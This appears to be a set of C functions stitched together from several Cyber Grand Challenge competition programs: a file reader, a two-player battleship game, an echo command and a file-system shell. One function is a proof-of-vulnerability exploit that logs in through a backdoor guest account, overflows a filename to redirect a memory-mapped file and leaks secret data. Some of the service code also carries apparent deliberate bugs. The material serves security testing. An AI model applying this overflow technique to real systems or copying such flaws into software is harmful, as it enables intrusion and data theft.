/* Read and print out the contents of a file */ int cgc_ReadFile(char *full_name) { int i,k; int index; inode *file_inode = NULL; block *b; unsigned char t[DATA_BLOCK_SIZE+1]; unsigned char c; uint32_t fsize; // see if the file already exists i = cgc_CheckFileExists(full_name, &file_inode); if (i == -1) { return(1); } else if (i == 0) { // yes, return an error cgc_puts("file doesn't exist"); return(1); } else if (i == 2) { // it's a directory cgc_puts("file is a directory"); return(1); } index = 0; fsize = file_inode->fsize; for (i = 0; i < file_inode->num_blocks; i++, index++) { if (i && (i % INODE_DATA_BLOCKS == 0)) { // move on to the indirect inode file_inode = file_inode->indirect_inode; if (!file_inode) { return(0);; } index = 0; } b = file_inode->blocks[index]; if (!b) { return(0); } if (fsize >= DATA_BLOCK_SIZE) { cgc_write(b, DATA_BLOCK_SIZE); fsize -= DATA_BLOCK_SIZE; } else { cgc_write(b, fsize); } } cgc_puts(""); return(0); }
int cgc_sendResponse( void *message, int length ) { if (cgc_write(STDOUT, message, length) != 0 ) { return -1; } else { return 0; } }
int dumpBoard(PlayerState* ps) { int i = 0; int j = 0; char tempStr[8]; if (ps == NULL) { return (-1); } for (i = 0; i < BOARD_SIZE; i++) { if (i == 0) { tempStr[0] = '\t'; tempStr[1] = COL_BASE; cgc_write(STDOUT, tempStr, 2); } else { //this will mess up if i > 26 tempStr[0] = COL_BASE + (char)i; cgc_write(STDOUT, tempStr, 1); } } tempStr[0] = '\n'; cgc_write(STDOUT, tempStr, 1); for (i = 0; i < BOARD_SIZE; i++) { tempStr[0] = ' '; tempStr[1] = ' '; tempStr[2] = ' '; tempStr[3] = ROW_BASE + (char)i; tempStr[4] = ':'; tempStr[5] = '\t'; cgc_write(STDOUT, tempStr, 6); for (j = 0; j < BOARD_SIZE; j++) { tempStr[0] = ps->board[i][j]; cgc_write(STDOUT, tempStr, 1); } tempStr[0] = '\n'; cgc_write(STDOUT, tempStr, 1); } return (0); }
int main(int cgc_argc, char *cgc_argv[]) { char buffer[60]; int i; int pov_type; unsigned int type2_addr; unsigned int type2_length; unsigned int type2_size; unsigned int new_offset_value; // negotiate a type 2 POV pov_type = 2; if (cgc_write(3, &pov_type, sizeof(pov_type)) == -1) cgc__terminate(-1); if (cgc_receive_bytes(3, &type2_addr, sizeof(type2_addr)) == -1) cgc__terminate(-1); if (cgc_receive_bytes(3, &type2_size, sizeof(type2_size)) == -1) cgc__terminate(-1); if (cgc_receive_bytes(3, &type2_length, sizeof(type2_length)) == -1) cgc__terminate(-1); // get the login prompt cgc_receive_bytes(STDIN, buffer, 7); // login with the backdoor GUEST account cgc_write(STDOUT, "GUEST 2\n", 8); // command prompt cgc_receive_bytes(STDIN, buffer, 26); // get rid of the README.txt file in position 0 of the file directory // this position can be overwritten cgc_write(STDOUT, "erase README.txt\n", 17); // command prompt cgc_receive_bytes(STDIN, buffer, 2); // make a memory mapped file that can be overwritten to exploit the vuln cgc_strcpy(buffer, "makememfile exploitme.mem 4096\n"); // cgc_printf(); cgc_write(STDOUT, buffer, cgc_strlen(buffer)); cgc_receive_bytes(STDIN, buffer, 2); // now fill the directory up with files for (i = 0; i < 125; ++i ) { cgc_sprintf(buffer, "make file$d\n", i); cgc_write(STDOUT, buffer, cgc_strlen(buffer)); cgc_receive_bytes(STDIN, buffer, 2); } // now its time for the overwrite. only a max sized filename will reach into the next // block of the filesystem and overwrite the memory mapped file's info cgc_strcpy(buffer, "make AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); // put in the address of the magic page // add two to the end so that it doesn't put a null into the string prematurely *(int *)(buffer+41) = type2_addr + 2; buffer[45] = '\n'; cgc_write(STDOUT, buffer, 46); cgc_receive_bytes(STDIN, buffer, 2); // the memory mapped file should now point to the magic page so just cgc_read it to get secret data cgc_write(STDOUT, "show exploitme.mem\n", 19); cgc_receive_bytes(STDIN, buffer, 4); // now cgc_write the returned data back to the POV server for scoring cgc_write(3, buffer, 4); // send the command to cgc_exit the CB cgc_write(STDOUT, "exit\n", 5); }
int main(void) { PlayerState player0, player1; //2 players int ret = 0; int curPlayer = 0; int bStarted = 0; int bEnded = 0; Command cmd; //initialize cmd.cmdNum = CMD_UNKNOWN; clearPlayerState(&player0); clearPlayerState(&player1); while(1) { if (curPlayer == 0) { cgc_write(STDOUT, P0_PROMPT, myStrLen(P0_PROMPT)); } else { cgc_write(STDOUT, P1_PROMPT, myStrLen(P1_PROMPT)); } ret = getCommand(&cmd); if (ret == 0) //if its okay { if (cmd.cmdNum == CMD_EXIT) { cgc_write(STDOUT, EXIT_MSG, myStrLen(EXIT_MSG)); //break; } else if (cmd.cmdNum == CMD_NEW) { cmd.cmdNum = CMD_UNKNOWN; clearPlayerState(&player0); clearPlayerState(&player1); curPlayer = 0; bStarted = 0; bEnded = 0; continue; } else if (cmd.cmdNum == CMD_HELP) { cgc_write(STDOUT, HELP_MSG, myStrLen(HELP_MSG)); } else if (bEnded) { cgc_write(STDOUT, GAME_ALREADY_ENDED_MSG, myStrLen(GAME_ALREADY_ENDED_MSG)); } else if (cmd.cmdNum == CMD_MAP) { if (curPlayer == 0) { dumpBoard(&player0); } else { dumpBoard(&player1); } } else if (cmd.cmdNum == CMD_START) { if (bStarted) { cgc_write(STDOUT, GAME_ALREADY_STARTED_MSG, myStrLen(GAME_ALREADY_STARTED_MSG)); } else { bStarted = 1; } } else if (cmd.cmdNum == CMD_PLACE) { if (bStarted) { cgc_write(STDOUT, GAME_ALREADY_STARTED_MSG, myStrLen(GAME_ALREADY_STARTED_MSG)); } else { if (curPlayer == 0) { ret = processPlace(&player0, &cmd); } else { ret = processPlace(&player1, &cmd); } if (ret == 0) { //swap players curPlayer = (curPlayer == 0) ? 1 : 0; } else { cgc_write(STDOUT, BAD_COMMAND_MSG, myStrLen(BAD_COMMAND_MSG)); } } } else if (cmd.cmdNum == CMD_TARGET) { if (!bStarted) { cgc_write(STDOUT, GAME_NOT_STARTED_MSG, myStrLen(GAME_NOT_STARTED_MSG)); } else { if (curPlayer == 0) { ret = processTarget(&player1, &cmd); } else { ret = processTarget(&player0, &cmd); } if (ret == 0) { //see if the current player won if (curPlayer == 0) { if (allShipsSunk(&player1)) { cgc_write(STDOUT, YOU_WIN_MSG, myStrLen(YOU_WIN_MSG)); bStarted = 0; bEnded = 1; } } else { if (allShipsSunk(&player0)) { cgc_write(STDOUT, YOU_WIN_MSG, myStrLen(YOU_WIN_MSG)); bStarted = 0; bEnded = 1; } } //swap players curPlayer = (curPlayer == 0) ? 1 : 0; } else { cgc_write(STDOUT, BAD_COMMAND_MSG, myStrLen(BAD_COMMAND_MSG)); } } } } else if (ret == -1) { cgc_write(STDOUT, BAD_COMMAND_MSG, myStrLen(BAD_COMMAND_MSG)); } else if (ret == -2) //cgc_read error { cgc_write(STDOUT, READ_ERROR_MSG, myStrLen(READ_ERROR_MSG)); break; } } return (0); }
int processTarget(PlayerState* ps, Command* cmd) { if ( (ps == NULL) || (cmd == NULL) ) { return (-1); } //check and convert the row and column fields if ( !isGoodRow(cmd->row) || !isGoodCol(cmd->col) ) { return (-1); } //should I make this extremely explicit? if ( ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] == SHIP2 ) { ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] = HIT_CELL; ps->ship2Life--; cgc_write(STDOUT, HIT_MSG, myStrLen(HIT_MSG)); if (ps->ship2Life == 0) { cgc_write(STDOUT, SHIP2_SUNK_MSG, myStrLen(SHIP2_SUNK_MSG)); } } else if ( ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] == SHIP3 ) { ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] = HIT_CELL; ps->ship3Life--; cgc_write(STDOUT, HIT_MSG, myStrLen(HIT_MSG)); if (ps->ship3Life == 0) { cgc_write(STDOUT, SHIP3_SUNK_MSG, myStrLen(SHIP3_SUNK_MSG)); } } else if ( ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] == SHIP4 ) { ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] = HIT_CELL; ps->ship4Life--; cgc_write(STDOUT, HIT_MSG, myStrLen(HIT_MSG)); if (ps->ship4Life == 0) { cgc_write(STDOUT, SHIP4_SUNK_MSG, myStrLen(SHIP4_SUNK_MSG)); } } else if ( ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] == SHIP5 ) { ps->board[ROW_TO_NUM(cmd->row)][COL_TO_NUM(cmd->col)] = HIT_CELL; ps->ship5Life--; cgc_write(STDOUT, HIT_MSG, myStrLen(HIT_MSG)); if (ps->ship5Life == 0) { cgc_write(STDOUT, SHIP5_SUNK_MSG, myStrLen(SHIP5_SUNK_MSG)); } } else { cgc_write(STDOUT, MISSED_MSG, myStrLen(MISSED_MSG)); } return (0); }
/* echo command */ int cgc_EchoHandler() { char pathname[MAX_CMD]; char outstr[MAX_CMD]; FILE *out; int len; if (cgc_ARGC < 2 || cgc_ARGC == 3) { cgc_puts("usage: echo <text> [>|>>] [file]"); return(0); } if (cgc_ARGC == 2) { // handle case of 'echo <text>' cgc_bzero(outstr, MAX_CMD); cgc_strncpy(outstr, cgc_ARGV[1], MAX_CMD-1); if ((len = cgc_Unescape(outstr)) == -1) { cgc_puts("unable to write to file"); return(-1); } cgc_write(outstr, len); return(0); } if (cgc_ARGC == 4) { // redirecting to a file cgc_bzero(pathname, MAX_CMD); if (cgc_ARGV[3][0] == '/') { if (cgc_strlen(cgc_ARGV[3]) > MAX_CMD-1) { cgc_puts("invalid file name"); return(-1); } cgc_strcpy(pathname, cgc_ARGV[3]); } else { if ((cgc_strlen(cgc_CWD)+cgc_strlen(cgc_ARGV[3]) + 1) > MAX_CMD-1) { cgc_puts("command too long"); return(0); } cgc_strcpy(pathname, cgc_CWD); cgc_strcat(pathname, cgc_ARGV[3]); } if (!cgc_strcmp(cgc_ARGV[2], ">")) { // cgc_write to file if ((out = cgc_fopen(pathname, "w")) == NULL) { cgc_puts("unable to write to file"); return(-1); } cgc_bzero(outstr, MAX_CMD); cgc_strncpy(outstr, cgc_ARGV[1], MAX_CMD-1); if ((len = cgc_Unescape(outstr)) == -1) { cgc_puts("unable to write to file"); cgc_fclose(out); return(-1); } cgc_fwrite(outstr, len, 1, out); cgc_fclose(out); } else if (!cgc_strcmp(cgc_ARGV[2], ">>")) { // append to file if ((out = cgc_fopen(pathname, "a")) == NULL) { cgc_puts("unable to write to file"); return(-1); } cgc_bzero(outstr, MAX_CMD); cgc_strncpy(outstr, cgc_ARGV[1], MAX_CMD-1); if ((len = cgc_Unescape(outstr)) == -1) { cgc_fclose(out); cgc_puts("unable to write to file"); return(-1); } cgc_fwrite(outstr, len, 1, out); cgc_fclose(out); } else { cgc_puts("usage: echo <text> [>|>>] [file]"); return(0); } } return(0); }
void main_loop(pDataStruct workingData){ char *commandList[] = {"set", "get", "add", "delete","exit","help","ls","cat","cd"}; char *setList[] = {"date", "user", "group","help"}; char *getList[] = {"date", "user", "group", "workingDir","help", "userlist", "grouplist", "usersingroup"}; char *addList[] = {"user", "group", "file", "directory", "usertogroup","perm", "appendfile","help"}; char *deleteList[] = {"user", "group", "file", "directory", "usertogroup","perm", "filebytes","help"}; char arg[16][MAXCOMMAND]; char command[MAXCOMMAND]; int argnum, i, j, tempNum, cmd, size; char *c; char temp[MAXPATH]; char *tempBuf; unsigned char *rcvBuf; pNode tempNode = NULL; pUser tempUser = NULL; pGroup tempGroup = NULL; pFile tempFile = NULL; pPerms tempPerms = NULL; pFileChunk tempFileChunk = NULL; pGroupUserList tempGroupUserList = NULL; while(1){ argnum = i = j = tempNum = cmd = 0; c = 0; bzero(temp, sizeof(temp)); tempBuf = NULL; tempNode = NULL; tempUser = NULL; tempGroup = NULL; tempFile = NULL; tempPerms = NULL; tempFileChunk = NULL; tempGroupUserList = NULL; bzero(command, sizeof(command)); print_prompt(workingData); get_string(command, MAXCOMMAND-1, ""); for (j = 0;j<16;j++){ bzero(arg[j],MAXCOMMAND); } argnum = parse_arg(arg, command); tempNum = 0; cmd = 100; for (i=0;i<sizeof(commandList)/4;i++){ if (strcmp(commandList[i],arg[0]) == 0 ){ cmd = i; } } switch(cmd) { case 0x0 : //set cmd = 100; for (i=0;i<sizeof(setList)/4;i++){ if (strcmp(setList[i],arg[1]) == 0){ cmd = i; } } switch(cmd) { case 0 : //set date workingData->date = get_time(); break;//end set date case 1 : //set user if ( strcmp(arg[2],"") == 0){ puts("missing user name or number"); break; } tempUser = find_user(arg[2],workingData); if ( tempUser != NULL ){ workingData->currentUser = tempUser; } else { printf("unknown user: @s\n",arg[2]); } break;//end set user case 2 : //set group if ( strcmp(arg[2], "") == 0){ puts("missing group name or number"); break; } tempGroup = find_group(arg[2], workingData); if ( tempGroup != NULL){ workingData->currentGroup = tempGroup; } else { printf("unknown group: @s\n",arg[2]); } break; case 3 : //set help print_help(setList,(sizeof(setList)/4)); break;//end set help default : printf("Invalid command: @s\n",arg[1]); } break;//end set case 1 ://get cmd = 100; for (i=0;i<sizeof(getList)/4;i++){ if (strcmp(getList[i],arg[1]) == 0){ cmd = i; } } switch(cmd) { case 0 : //get date strofdate( workingData->date); break;//end get date case 1 : //get user printf("@s\n",workingData->currentUser->name); break;//end get user case 2 : //get group printf("@s\n",workingData->currentGroup->name); break;//end get group case 3 : //get workingDir bzero(temp,MAXPATH); str_of_path( temp, workingData, workingData->workingDir); printf("@s/\n",temp); break;//end get workingDir case 4 : //get help print_help(getList,(sizeof(getList)/4)); break;//end get help case 5 : //get userlist print_user_list(workingData); break;//end get userlist case 6 : //get grouplist print_group_list(workingData); break;//end get grouplist case 7 : //get usersingroup if ( strcmp(arg[2], "") == 0){ puts("missing group name or number"); break; } tempGroup = find_group(arg[2], workingData); if ( tempGroup != NULL ){ print_users_in_group(tempGroup); break; } printf("unknown group: @s\n",arg[2]); break;//end get useringroup default : printf("Invalid command: @s\n",arg[1]); } break;//end get case 2 ://add cmd = 100; for (i=0;i<sizeof(addList)/4;i++){ if ( strcmp(addList[i],arg[1]) == 0 ){ cmd = i; } } switch(cmd) { case 0 : //add user if ( strcmp(arg[2],"") == 0 ){ bzero(temp,MAXPATH); get_string(temp, 128, "UserName"); strcpy(arg[2],temp); } tempUser = find_user( arg[2], workingData); if ( tempUser == NULL ){ add_user( arg[2], workingData ); } else { puts("Username already in use"); } break;//end add user case 1 : //add group if ( strcmp(arg[2],"") == 0 ){ bzero(temp,MAXPATH); get_string(temp, 128, "GroupName"); strcpy(arg[2], temp); } tempGroup = find_group( arg[2], workingData); if ( tempGroup == NULL ){ add_group( arg[2], workingData ); } else { puts("Groupname already in use"); } break;//end add group case 2 : //add file //add file name size tempNum = atoi(arg[3]); if (strcmp(arg[2],"") == 0){ puts("Filename required"); break; } if ( tempNum > MAXUPLOAD ){ puts("Too big"); break; } if ( find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode) != NULL ){ puts("There is another file or directory with that name"); break; } if ( tempNum > 0){ rcvBuf = mallocOrDie(tempNum,"Failed to allocate tempBuf"); puts("-----Begin File-----");//five - if ( tempNum != receive_bytes(rcvBuf,tempNum) ){ die("Failed to reveive file"); break; } } else {rcvBuf = NULL;} tempNode = add_file( workingData->workingDir, workingData->date, tempNum, arg[2], (char *)rcvBuf, workingData->currentUser ); break;//end add file case 3 : //add directory if (strcmp(arg[2],"") == 0){ puts("Directory name required"); break; } if ( find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode) != NULL ){ puts("There is another file or directory with that name"); break; } tempNode = add_directory( workingData->date, arg[2], workingData->workingDir, workingData->currentUser ); break;//end add directory case 4 : //add useringroup if (strcmp(arg[2],"") == 0){ puts("username or number required"); break; } tempUser = find_user( arg[2], workingData); if ( tempUser != NULL ){//user exists tempGroupUserList = is_user_in_group( tempUser, workingData->currentGroup ); if ( tempGroupUserList == NULL ){//user is not already in group add_user_to_group( tempUser, workingData->currentGroup ); } else {printf("@s is already in @s\n",arg[2], workingData->currentGroup->name);} } else { puts("User does not exist, add user first"); } break;//end add useringroup case 5 : //add perm if ( ( strcmp(arg[2],"") == 0 )||( strcmp(arg[2]," ") == 0 ) ){//arg[2] name of file or dir puts("name of file or directory required"); break; } if (!( (strcmp(arg[3],"user") == 0) ^ (strcmp(arg[3],"group") == 0) )) {//arg[3] user, group puts("'user' or 'group'"); break; } if (strcmp(arg[4],"") == 0){ puts("user name, group name, or number required");//arg[4] name or number of user or group break; } tempNode = find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode );//validate file or dir if (tempNode == NULL){ puts("Invalid file or directory"); break; } if (tempNode->type == LINK){ tempNode = tempNode->directoryHeadNode; break; } if (strcmp(arg[3],"user") == 0){ tempUser = find_user(arg[4],workingData); tempGroup = NULL; if (tempUser == NULL){ printf("user @s not found\n",arg[4]); break; } } else { tempGroup = find_group(arg[4],workingData); tempUser = NULL; if (tempGroup == NULL){ printf("group @s not found\n",arg[4]); break; } } validate_current_perms(tempNode, workingData); tempPerms = add_perm(tempUser, tempGroup, tempNode ); break;//end add perm case 6 : //add appendfile tempNum = atoi(arg[3]); if (strcmp(arg[2],"") == 0){ puts("Filename required"); break; } if ( tempNum > MAXUPLOAD ){ puts("Too big"); break; } tempFile = find_file_by_name(arg[2],workingData->workingDir); if ( tempFile == NULL ){ puts("No file in working directory by that name"); break; } if ( tempNum > 0){ tempBuf = mallocOrDie(tempNum,"Failed to allocate tempBuf"); puts("-----Begin File-----");//five - if ( tempNum != receive_bytes((unsigned char *)tempBuf,tempNum) ){ die("Failed to reveive file"); break; } } else { tempBuf = NULL; puts("Can not add 0 bytes to file"); break; } tempFileChunk = add_file_chunk( tempBuf, tempFile, tempNum ); break;//end add appendfile case 7 : //add help print_help(addList, (sizeof(addList)/4)); break;//end add help default : printf("Invalid command: @s\n",arg[1]); } break;//end add case 3 ://delete cmd = 100; for (i=0;i<sizeof(deleteList)/4;i++){ if ( strcmp(deleteList[i],arg[1]) == 0 ){ cmd = i; } } switch(cmd) { case 0 : //delete user bzero(temp,MAXPATH); if ( strcmp(arg[2],"") == 0 ){ get_string(temp, 128, "User Name or number"); strcpy(arg[2],temp); } tempUser = find_user( arg[2], workingData); if ( tempUser != NULL ){ remove_user(tempUser , workingData ); } else { puts("No such user found"); } break;//end delete user case 1 : //delete group bzero(temp,MAXPATH); if ( strcmp(arg[2],"") == 0 ){ get_string(temp, 128, "Group Name or number"); strcpy(arg[2],temp); } tempGroup = find_group( arg[2], workingData); if ( tempGroup != NULL ){ remove_group(tempGroup , workingData ); } else { puts("no such group found"); } break;//end delete group case 2 : //delete file if (strcmp(arg[2],"") == 0){ puts("Filename required"); break; } tempNode = find_file_node_by_name(arg[2],workingData->workingDir); if (tempNode == NULL){ puts("No such file"); break; } delete_node(tempNode, workingData); break;//end delete file case 3 : //delete directory if (strcmp(arg[2],"") == 0){ puts("Directory name required"); break; } tempNode = find_directory_by_name(arg[2],workingData->workingDir); if (tempNode == NULL){ puts("No such directory"); break; } delete_node(tempNode, workingData); break;//end delete directory case 4 : //delete usertogroup if (strcmp(arg[2],"") == 0){ puts("User name required"); break; } if (strcmp(arg[3],"") == 0){ puts("group name required"); break; } tempUser = find_user(arg[2],workingData); if (tempUser == NULL){ puts("No such user"); break; } tempGroup = find_group(arg[3],workingData); if (tempGroup == NULL){ puts("No such group"); break; } tempGroupUserList = is_user_in_group(tempUser, tempGroup); if (tempGroupUserList == NULL){ puts("User is not in group"); break; } remove_user_from_group(tempUser, tempGroup); break;//end delete usertogroup case 5 : //delete perm if (strcmp(arg[3],"") == 0){ puts("User or group name required"); break; } if (strcmp(arg[2],"") == 0){ puts("file name required"); break; } tempNode = find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode); if (tempNode == NULL){ puts("No such file"); break; } tempPerms = find_perm_by_name(arg[3],tempNode,workingData); if (tempPerms != NULL){ delete_perms(tempNode, tempPerms); } else { puts("No such user permission on file"); } break;//end delete perm case 6 : //delete filebytes [file] [numbytes] if (strcmp(arg[2],"") == 0){ puts("Filename required"); break; } size = strict_atoi(arg[3]); if (size == 0){ puts("zero bytes deleted"); break; } //validate file tempNode = find_file_node_by_name(arg[2],workingData->workingDir); tempFile = tempNode->file; if (tempNode == NULL){ puts("No such file"); printf("@s\n",arg[2]); break; } tempNum = get_file_size(tempFile); if (size > tempNum){ puts("Too many bytes"); } //tempNum is new file size tempNum = tempNum - size; delete_file_bytes(tempFile, tempNum); break;//end delete file case 7 : //delete help print_help(deleteList, (sizeof(deleteList)/4)); break;//end delete help default: print_help(deleteList, (sizeof(deleteList)/4)); //break;//end delete help } break;//end delete case 4 ://cgc_exit puts("exiting"); goto cgc_exit; break; case 5 ://help print_help(commandList, (sizeof(commandList)/4)); break; case 6 ://ls print_working_dir(workingData); break; case 7 ://cat if (strcmp(arg[1],"") == 0){ puts("Filename required"); break; } tempFile = find_file_by_name(arg[1], workingData->workingDir); if ( tempFile != NULL ){ tempFileChunk = tempFile->head; puts("-----Begin File-----");//five - while ( tempFileChunk != NULL ){ if (tempFileChunk->chunkSize != cgc_write(tempFileChunk,tempFileChunk->chunkSize)){ puts("file write failed"); } /* c = tempFileChunk->chunk; for ( i = 0; i < tempFileChunk->chunkSize; i++ ){//putc each byte of every chunk putc( *c); c++; } */ tempFileChunk = tempFileChunk->next; } puts("-----END File-----");//five - } break; case 8 ://cd if (strcmp(arg[1],"") == 0){ puts("directory required"); break; } if (strcmp(arg[1],"..") == 0){ if (workingData->workingDir->parent != NULL){ workingData->workingDir = workingData->workingDir->parent; } break; } tempNode = find_directory_by_name(arg[1],workingData->workingDir); if ( tempNode != NULL ){ workingData->workingDir = tempNode; break; } puts("No such directory in working directory"); break;//end cd default : printf("Invalid command @s\n",arg[0]); print_help(commandList, (sizeof(commandList)/4)); } } cgc_exit: return; }